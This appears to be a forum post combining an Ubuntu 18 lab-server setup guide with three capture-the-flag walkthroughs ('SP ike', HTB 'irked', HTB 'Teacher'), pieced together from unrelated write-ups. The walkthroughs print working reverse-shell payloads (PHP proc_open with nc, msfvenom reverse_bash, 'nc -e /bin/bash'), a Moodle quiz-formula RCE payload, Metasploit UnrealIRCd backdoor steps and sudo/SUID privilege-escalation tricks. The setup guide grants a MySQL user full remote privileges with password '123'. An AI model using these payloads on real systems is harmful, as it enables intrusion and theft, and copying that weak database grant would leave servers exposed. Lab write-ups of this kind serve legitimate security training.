Login

**NINZA** · 05-14-2020, 05:33 PM

0			0

In this post, we will discuss how to set-up our own web server for penetration testing on Ubuntu 18. Ubuntu 18 has updated with the new features.
Table of Content
Requirement
Web Server configuration

Apache
PHP
MySQL
phpMyAdmin
FTP
SSH
Nmap

Requirement-ubuntu 18.0
Web Server Configuration
The Web server is a program that uses HTTP to serve users with files forming web pages in response to requests transmitted by their HTTP clients.
The Web servers can also be called dedicated computers and apparatuses.
Install Apache
First, we will install the Apache. Apache is the most commonly used Web server on Linux Systems. Web servers are used to serve web pages requested by the client computers. So, let’s first install Apache in the ubuntu by the following command-
apt install apache2
1
apt install apache2
We have successfully installed apache2, by default apache runs on port 80.
[Image: 1.png?w=687]

Install PHP
Now we will install PHP 7modukle for Apache 2 and for all of its dependencies. Earlier we used to install PHP 5 module for Ubuntu 14. But now as it is not compatible in ubuntu 18.so we will install the latest version of php which is php7.2 For this run the following command in ubuntu terminal-
apt install php7.2
1
apt install php7.2
As you can see, we have done with php installation.
[Image: 2.png?w=687]

Install MySQL Server
Now comes the next step which is the installation of MySQL server. MySQL is the famous open-source database which was very easier to install earlier. But now it requires some changes for Ubuntu 18.
So, let’s go ahead step by step.
First, we will install MySQL server by the following command-
apt install mysql-server
1
apt install mysql-server
[Image: 3.png?w=687]

So, we are done with the installation. In Ubuntu 14, MySQL did not need a password as it required only the root user to logged in. But now it needs a password and it won’t allow the root user to log in so we will provide a username and password of ubuntu in MySQL with the following command and as it will ask for the password; you have to use your ubuntu password here. After it gets logged in you will grant all the privileges to the user of Ubuntu as in our case we have given all the privileges to user raj which will be identified with the password of ubuntu which is 123 in our case and after which we will reset all the previous privileges so that it can start the service with the new changes. For this, the commands are the following.
mysql -u root -p
GRANT ALL PRIVILEGES ON *.* TO 'raj'@'%' IDENTIFIED BY '123' WITH GRANT OPTION;
flush privileges;
1
2
3
mysql -u root -p
GRANT ALL PRIVILEGES ON *.* TO 'raj'@'%' IDENTIFIED BY '123' WITH GRANT OPTION;
flush privileges;
Great we are done with MySQL server installation, by default it runs on port 3306, now restart MySQL service.
service mysql restart
1
service mysql restart
[Image: 4.png?w=687]

Install phpMyAdmin
Now the next step is the installation of a phpMyAdmin software tool which is written in PHP and which is proposed to handle the administration of MYSQL over the WEB and it also supports a wide range of operations on MYSQL. First, we need to install phpMyAdmin by the following command-
apt install phpmyadmin
1
apt install phpmyadmin
[Image: 5.png?w=687]

After the installation, it will ask you to choose the web server. Here you need to choose apache2 which will automatically be configured to run phpmyadmin.
[Image: 6.png?w=687]

Next, you will get a prompt which will be opened to configure a database for phpmyadmin with dbconfig-common. Here you need to click on yes and the enter.
[Image: 7.png?w=687]

Again, you will get a prompt which will ask you to submit the password for phpMyAdmin, to register with the database server. Here we have given 123 as the password as it is essential to give it a password now.
[Image: 8.png?w=687]

The next step is the configuration of phpmyadmin under apache, for this we need to edit apache2 conf file by adding two lines at the end of this file:
nano /etc/apache2/apache2.conf
1
nano /etc/apache2/apache2.conf

#phpMyAdmin Configuration
Include /etc/phpmyadmin/apache.conf
1
2
#phpMyAdmin Configuration
Include /etc/phpmyadmin/apache.conf
At the last, as shown in the image below and then save it and after the editing saves the file and restart apache2 service.
service apache2 restart
1
service apache2 restart
[Image: 9.png?w=687]

Now open phpmyadmin in the browser as localhost/phpmyadmin as shown in the image below-
[Image: 10.png?w=687]

Install ftp
Now we will install FTP server in ubuntu which is used for the transfer of computer files between a client and server on a computer network. For this run the following command in the terminal-
apt install vsftpd
1
apt install vsftpd
As we can see in the above screenshot that ftp service has been installed in our system which runs on port 21
[Image: 11.png?w=687]

Install ssh
Now the next is SSh protocol which is method for secure remote login from one computer to another.so lets install this service by the following command. It is installed successfully; by default, it runs on port 22.
apt install openssh-server
1
apt install openssh-server
[Image: 12.png?w=687]

Install Nmap
Now in order to check that the above services have been installed properly in our system; we will use nmap which is a scanner for ports and which tells us about the open ports and running services status.
So, let’s install that by the following command-
apt install nmap
1
apt install nmap
[Image: 13.png?w=687]

Once the installation is done, we will scan our own system by the following command and it will scan our system and will come up with the desired results as you can see in the image given below-
nmap 127.0.0.1
1
nmap 127.0.0.1
[Image: 14.png?w=687]

Hello friends! Today we are going to take another CTF challenge known as “SP ike”. The credit for making this VM machine goes to “

[To see content please register here]

”. Our goal is to get flags to complete the challenge.
Security Level: Intermediate
Penetrating Methodology:

Discovering Targets IP
Network scanning (Nmap)
Surfing HTTP service port
Configuring HEXCHAT IRC Client
Connecting to IRC Server
Creating PHP Malicious Script using MSFvenom
Using Netcat Listener
Spawning TTY Shell
Getting Root Access
Reading Final Flag

Walkthrough
Let’s start off with scanning the network to find our target.
netdiscover
1
netdiscover
[Image: 1.png?w=687]

We found our target –> 192.168.1.21
Time to scan the Target’s IP with nmap. Nmap scan result shows FOUR open ports, 80(http), 139(NetBIOS-ssn), 445(NetBIOS-ssn), 6667(IRC).
nmap -sV -T4 192.168.1.21
1
nmap -sV -T4 192.168.1.21
[Image: 2.png?w=687]

Since port 80 is running HTTP, so we thought of browsing Target’s IP in our browser. But it is not much of great help. Moving on.
[Image: 3.png?w=687]

Even directory scanning using dirb tool was not very useful. At last, we are left with the IRC chat server on port(6667). So, we used an IRC client Hexchat to connect to the port(6667). First, we need to configure Hexchat by Adding a New Profile and Editing Connection Details.
[Image: 4.png?w=687]

Now Edit the Network ike which we have added and Give the Target’s IP as you can see in the image.
[Image: 5.1.png?w=687]

We have successfully connected to the IRC Server. And we found something interesting that the server has a channel #php which has a phpbot, I guess it wouldn’t be a problem for the phpbot to execute a php script.
[Image: 5.png?w=687]

We created a msfvenom script to exploit the target machine. We used the reverse_netcat payload to create this script.
msfvenom -p cmd/unix/reverse_bash lhost=192.168.1.34 lport=1234 R
1
msfvenom -p cmd/unix/reverse_bash lhost=192.168.1.34 lport=1234 R
[Image: 7.png?w=687]

After making a few tries, we finally able to execute our PHP script successfully. To get reverse shell execute the script given below.
!php $s=array(); $p=array(); proc_open("mkfifo /tmp/tsglu; nc 192.168.1.34 1234 0</tmp/tsglu | /bin/sh >/tmp/tsglu 2>&1; rm /tmp/tsglu", $s, $p);
1
!php $s=array(); $p=array(); proc_open("mkfifo /tmp/tsglu; nc 192.168.1.34 1234 0</tmp/tsglu | /bin/sh >/tmp/tsglu 2>&1; rm /tmp/tsglu", $s, $p);
[Image: 8.png?w=687]

Oh Yeah!! We got the reverse shell, but it is not a proper shell. We will spawn a tty shell using python. After doing sudo -l, we saw nmap can be used with root privileges. So to get root, we used commands given below and successfully got root access. Time to read the FLAG!!
nc -lvp 1234
python -c 'import pty;pty.spawn("/bin/bash")'
echo "os.execute('/bin/sh')" > /tmp/shell.nse
sudo nmap --script=/tmp/shell.nseid
cd /root
ls
cat flag.txt
1
2
3
4
5
6
7
nc -lvp 1234
python -c 'import pty;pty.spawn("/bin/bash")'
echo "os.execute('/bin/sh')" > /tmp/shell.nse
sudo nmap --script=/tmp/shell.nseid
cd /root
ls
cat flag.txt
[Image: 12.png?w=687]

Today we are going to solve another CTF challenge “irked”. It is a retired vulnerable lab presented by Hack the Box for helping pentesters to perform online penetration testing according to your experience level; they have a collection of vulnerable labs as challenges, from beginners to Expert level.
Level: Easy
Task: To find user.txt and root.txt file
Note: Since these labs are online available, therefore, they have a static IP. The IP of irked is 10.10.10.117
Penetrating Methodology

Scanning
Enumerating
Exploiting
Get user.txt
Privilege Escalation
Get root.txt

Walkthrough
Scanning
Let’s start off with our basic Nmap command to find out the open ports and services.
nmap -p- -sV 10.10.10.117 --open
1
nmap -p- -sV 10.10.10.117 --open
As you can see that port 22,80 is open for ssh, http services respectively, some other ports for IRC (unrealircd) are available.
[Image: 1.png?w=687&ssl=1]

It gave us a frustrated emoji when exploring port 80, as shown below, and some hints for irc are working. This image might have some hidden information, so I download this image and begin to penetrate it.
[Image: 2.png?w=687&ssl=1]

Enumeration
I tried to extract hidden information with the help of steghide, but it needs the passphrase for that. I search for unrealIRCd when this approach didn’t work.
[Image: 3.png?w=687&ssl=1]

Exploiting
Fortunately, I found an exploit for unrealircd in Metasploit, although the default port for ircd is 6667, it runs on 6697 here. I pwned the victim machine successfully after running the module.
use exploit/unix/irc/unreal_ircd_3281_backdoor
msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > set rhosts 10.10.10.117
msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > set lhost 10.10.14.13
msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > set rport 6697
msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit
1
2
3
4
5
use exploit/unix/irc/unreal_ircd_3281_backdoor
msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > set rhosts 10.10.10.117
msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > set lhost 10.10.14.13
msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > set rport 6697
msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit
So, as you can see, we’ve got the victim’s machine command session, let’s penetrate more to get user.txt and root.txt. First, to obtain the appropriate terminal, we need to import pty shell, so type:
python -c 'import pty;pty.spawn("/bin/bash")'
1
python -c 'import pty;pty.spawn("/bin/bash")'
[Image: 4.png?w=687&ssl=1]

I found user.txt within /home/djmardov/documents, but since we’re logged as an ircd, there’s no permission to read this file. There was also a .backup hidden file and it gave us a “UPupDOWNdownLRlrBAbaSSs” password.
[Image: 5.png?w=687&ssl=1]

We found frustrated emoji in the beginning, requiring a passphrase to extract the hidden text behind the image. So, as a passphrase, I use the password above and found a pass.txt file from within irked.jpg.
steghide extract -sf irked.jpg
1
steghide extract -sf irked.jpg
I found another password from the inside pass.txt file “Kab6h+m+bbp2J: HG.”
[Image: 6.png?w=687&ssl=1]

Privilege Escalation
Now I use the following credential to connect with the victim’s machine through ssh.
Username: [email protected]
Password: Kab6h+m+bbp2J:HG
First, I open the user.txt file and finish the first challenge along with that. Now let’s penetrate more to find the root.txt file, and that’s why we need to increase the privilege, so I’m trying to find out if there’s any suid permission script.
ssh [email protected]
cat user.txt
find / -perm -u=s -type=f 2>/dev/null
1
2
3
ssh [email protected]
cat user.txt
find / -perm -u=s -type=f 2>/dev/null
Here /usr/bin/viewuser looks more interesting, let’s check it out.
[Image: 7.png?w=687&ssl=1]

So, when I run the program, I found that this application was being developed to set test user permissions but couldn’t find listusers file within /tmp. This program is, therefore, searching for data from the listusers file and the file is missing from the directory inside /tmp.
So what we can do is write a script to call bin / sh and save it as listusers inside /tmp and then run the viewuser to run it.
echo '/bin/sh' > /tmp/listusers
chmod 777 /tmp/listusers
/usr/bin/viewuser
1
2
3
echo '/bin/sh' > /tmp/listusers
chmod 777 /tmp/listusers
/usr/bin/viewuser
Boom!! We have root access now, let’s grab the root.txt file and finish the assigned task.
cd /root
ls
cat root.txt
1
2
3
cd /root
ls
cat root.txt
[Image: 8.png?w=687&ssl=1]

Today we are going to solve another CTF challenge “Teacher”. It is a retired vulnerable lab presented by Hack the Box for helping pentesters to perform online penetration testing according to your experience level; they have a collection of vulnerable labs as challenges, from beginners to Expert level.
Level: Intermediate
Task: To find user.txt and root.txt file
Note: Since these labs are online available, therefore, they have a static IP. The IP of Teacher is 10.10.10.153
Penetrating Methodology
Scanning

Network Scanning (Nmap)

Enumeration

Web Spidering (dirb)
Abusing HTTP service
Password Fuzzing (Wfuzz)

Exploiting

Evil Teacher Attack
Obtain Netcat session
Get config.php to obtain the MySQL password
Connect to MySQL
Extract tables to obtain login credentials
Get user.txt

Privilege Escalation

Symlinking root directory
Get root.txt

Walkthrough
Scanning
Let’s start off with our basic Nmap command to find out the open ports and services.
nmap -sC -sV -p- 10.10.10.153
1
nmap -sC -sV -p- 10.10.10.153
As you can observe that it has shown port 80 is open for http services.
[Image: 1.png?w=687]

We found a school website on exploring port 80, and I didn’t find a lot of information here. This website appears to be designed for online courses and the author may use some educational cms to design it.
[Image: 2.png?w=687]

Enumeration
Since it is a learning site that needs to be designed for online classes using a CMS platform. Therefore, I will go for the enumeration of the web directory without wasting much time.
dirb //10.10.10.153
1
dirb //10.10.10.153
If you notice the image below, you will find a web directory /moodle. The website is therefore proven to be designed on MOODLE CMS, let’s explore it further.
[Image: 3.png?w=687]

When I explored /10.10.10.153/moodle, it’s the “Giovanni Chhatta” teacher portal for online classes in Mathematics Algebra. If you’re looking for a moodle exploit, you’re going to see it vulnerable to SQL and RCE. So, to exploit it, we need to log in to this account, but we don’t have credentials.
[Image: 4.png?w=687]

I felt like the photo gallery looks suspicious while spidering because each row contains 4 tiles and one photo in the top left corner is missing.
[Image: 5.1.png?w=687]

Therefore, I check the source code of the page and there is some error where I saw picture 5. We need to download this picture to identify more about image error.
[Image: 5.png?w=687]

So, I downloaded this image 5 with the help of the wget command and identified the type of file.
wget //10.10.10.153/images/5.png
file 5.png
1
2
wget //10.10.10.153/images/5.png
file 5.png
Though it looks like an image, it was ASCII file that we could open in any text editor. As you can see with the help of the cat command, I opened the 5.png file where I found the “Giovanni” user password clue.
PASSWORD HINT: “I forgot the last character of my password. The only part I remembered is Th4C00lTheacha”
Since the password’s last character was missing, I created a wordlist with the command below.
crunch 15 15 -t Th4C00lTheacha^ -o pass.txt
1
crunch 15 15 -t Th4C00lTheacha^ -o pass.txt
[Image: 6.png?w=687]

Now let use wfuzz for fuzzing brute force using wordlist to identify valid login combination.
wfuzz -w pass.txt -L 20 -d "username=giovanni&password=FUZZ" -hw 1224 //10.10.10.153/moodle/login/index.php
1
wfuzz -w pass.txt -L 20 -d "username=giovanni&password=FUZZ" -hw 1224 //10.10.10.153/moodle/login/index.php
WoW!! We got HTTP 200 ok response for Giovanni: Th4C00lTheacha#
[Image: 7.png?w=687]

Exploiting
We get inside the dashboard with the help of the above login credential. Now let’s try to exploit if you’re going to google for moodle exploit then it’s going to show you EVIL TEACHER attack which you can read from

[To see content please register here]

.

We now need to edit a new activity in order to exploit it, so explore settings > edit > add an activity or resource. Now you’re going to get a prompt to select an activity you want to add, I’ve chosen a quiz here.
[Image: 9.png?w=687]

Then click on Ethical hacking quiz to add some question inside it.
[Image: 10-.png?w=687]

Click on Edit option for adding a question.
[Image: 11.png?w=687]

Now click on Add > + a new question which will open a console to add quiz question.
[Image: 12.png?w=687]

Choose “calculated” the question type to add.
[Image: 13.png?w=687]

Now, when you ask a question, you need to mention the answer in the given text area, but this is vulnerable to EVIL TEACHER attack. Now get the reverse shell we insert a formula in the filed text given to write the answer and then click on save the changes.
1?><?=log(1){a.`$_GET[0]`.({x})}?>
1
1?><?=log(1){a.`$_GET[0]`.({x})}?>
[Image: 14.png?w=687]

Start netcat in the local machine and then inject netcat reverse shell payload in the URL as shown in the image, click on next page:
nc -lvp 1234
&0(data;nc -e /bin/bash <attacker-IP> <listening port>)
1
2
nc -lvp 1234
&0(data;nc -e /bin/bash <attacker-IP> <listening port>)
[Image: 15.png?w=687]

Repeat the same to inject nc payload once again and execute the URL to get a netcat session.
&0(data;nc -e /bin/bash <attacker-IP> <listening port>)
1
&0(data;nc -e /bin/bash <attacker-IP> <listening port>)
You can see here that we pwned the target machine’s web shell, let’s explore more to get user.txt and root.txt. So, I check the directory list inside /moodle here that I found a config.php file.
[Image: 17.png?w=687]

I saw mysql login credential inside the config.php file as shown below.
[Image: 21.png?w=687]

Connect to MySQL to extract information from the database such as credentials for system login.
mysql -u root -p'Welkom1' moodle
show tables;
1
2
mysql -u root -p'Welkom1' moodle
show tables;
[Image: 22.png?w=687]

Here mdl_user table looks more interesting, let’s extract its column information in the hop to get some useful information.
show columns from mdl_user;
1
show columns from mdl_user;
WOW! WOW!! It includes the username and column of the password, let’s explore it.
[Image: 23.png?w=687]

select user,password from mdl_user;
1
select user,password from mdl_user;
Here I found 4 users with the md5 hash value, let’s try cracking them.
[Image: 24.png?w=687]

So, we got the password “expelled” by using the online md5 decryption tool.
[Image: 25.png?w=687]

Now use the credentials above and switch user account to try to locate the user.txt file.
su Giovanni
password: expelled
ls
cat user.txt
1
2
3
4
su Giovanni
password: expelled
ls
cat user.txt
Yeah! Yeah. We got our 1st flag successfully, now let’s find out about root.txt, but as we know it needs an escalation of privilege.
[Image: 26.png?w=687]

Privilege Escalation
So, while traversing, I found a backup_course.tar file inside /home/giovanni/work/tmp
[Image: 26.png?w=687]

I found a backup _course.tar file inside /home/giovanni/work/tmp while traversing.
[Image: 28.png?w=687]

Therefore, since the current directory has full permission, I try to link the root directory within the /tmp folder so that we can get backup of the root directory within the /tmp folder with the help of backup.sh.
ln -s /root tmp
1
ln -s /root tmp
[Image: 29.png?w=687]

Fantastic!! I found /root directory within /tmp after 1-2 minutes, which means that without root access we can get the root.txt file as shown below.
cd /tmp
ls
cd /root
ls
cat root.txt
1
2
3
4
5
cd /tmp
ls
cd /root
ls
cat root.txt
Booom!! We found root.txt successfully!!!!!!!!!!!
[Image: 30.png?w=687]

Login
Username: Password: Lost Password? Remember me
Or Register an account

Announcement : For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis

Announcement :

For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis